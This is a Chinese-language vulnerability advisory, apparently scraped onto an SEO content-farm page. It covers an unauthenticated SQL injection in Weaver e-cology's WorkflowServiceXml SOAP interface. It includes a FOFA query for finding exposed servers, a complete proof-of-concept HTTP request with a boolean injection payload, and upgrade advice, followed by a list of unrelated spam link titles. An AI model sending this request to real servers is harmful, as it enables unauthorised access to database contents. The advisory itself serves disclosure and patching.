当前位置: 首页 > news >正文

帝国cms怎么做网站声明正规seo关键词排名网络公司

帝国cms怎么做网站声明,正规seo关键词排名网络公司,常见的网站空间主要有,2008iis里没加域名 网站指向还在漏洞描述: 泛微 e-cology 是泛微公司开发的协同管理应用平台。泛微 e-cology v10.64.1的/services/接口默认对内网暴露,用于服务调用,未经身份认证的攻击者可向 /services/WorkflowServiceXml 接口发送恶意的SOAP请求进行SQL注入,…

漏洞描述:
泛微 e-cology 是泛微公司开发的协同管理应用平台。泛微 e-cology v10.64.1的/services/接口默认对内网暴露,用于服务调用,未经身份认证的攻击者可向 /services/WorkflowServiceXml 接口发送恶意的SOAP请求进行SQL注入,攻击者通过漏洞可以获取服务器数据库敏感信息。

漏洞发现时间:

2024-7-12


影响版本:
e-cology9 < 10.64.1

FOFA语法:

app="泛微-OA(e-cology)"

POC:

POST /services/WorkflowServiceXml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: text/xml
Accept-Encoding: gzip
Content-Length: 487<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservices.workflow.weaver"> <soapenv:Header/><soapenv:Body><web:getHendledWorkflowRequestList><web:in0>1</web:in0><web:in1>1</web:in1><web:in2>1</web:in2><web:in3>1</web:in3><web:in4><web:string>1=1 AND 5615=5615</web:string></web:in4></web:getHendledWorkflowRequestList></soapenv:Body>
</soapenv:Envelope>

漏洞复现:


修复:

目前官方已有可更新版本,建议受影响用户升级至最新版本:

https://www.weaver.com.cn/cs/securityDownload.html

参考文献:

OSCS | 开源软件供应链安全社区 | 让每一个开源项目变得更安全

POC/泛微OA-E-Cology接口WorkflowServiceXml存在SQL注入漏洞.md at main · wy876/POC · GitHub

http://www.tj-hxxt.cn/news/2119.html

相关文章:

  • 手机无法安装wordpress北京seo排名厂家
  • 做网站时给图片添加链接线上引流的八种推广方式
  • 淮安做网站的有多少钱国家免费技能培训
  • 网站没有织梦后台杭州seo平台
  • 怎么制作app软件教程新网站seo
  • 合肥模板网站建设收费seo外包上海
  • 素材网站源码国内比百度好的搜索引擎
  • 免费微网站系统源码百度seo优化方法
  • 十大免费自媒体素材网站济南网络推广网络营销
  • 百度文库网站立足岗位做奉献爱营销电信版下载app最新版
  • 天天新网站网络营销主要是什么
  • 广州个人做网站互联网项目推广平台有哪些
  • 怎么做垂直自营网站培训计划模板
  • 做折页的网站怎么样推广自己的店铺和产品
  • 白城网站建设哪家专业百度百度地图
  • wordpress文章页面区别百度seo培训
  • 武汉网站建设排行上海百度推广电话客服
  • 如何看网站的ftp开发网站需要多少钱
  • 未来网站发展方向seo网站外链平台
  • 西宁网站制作制作网站模板
  • 昆明网络推广服务seo的名词解释
  • 做修图网站电脑配置小广告网站
  • 百度自助网站建设seo推广方式是什么呢
  • 关于网站建设申请快速网站轻松排名
  • 中国证券监督管理委员会的官网常用的seo工具
  • asp.net做网站的优势网站网络推广
  • 深圳网站建设服务公seo招聘职责
  • 晋江网站建设哪家好网络推广图片大全
  • 诸城公司做网站百度网站首页提交入口
  • 云服务器怎么样做网站怎么推广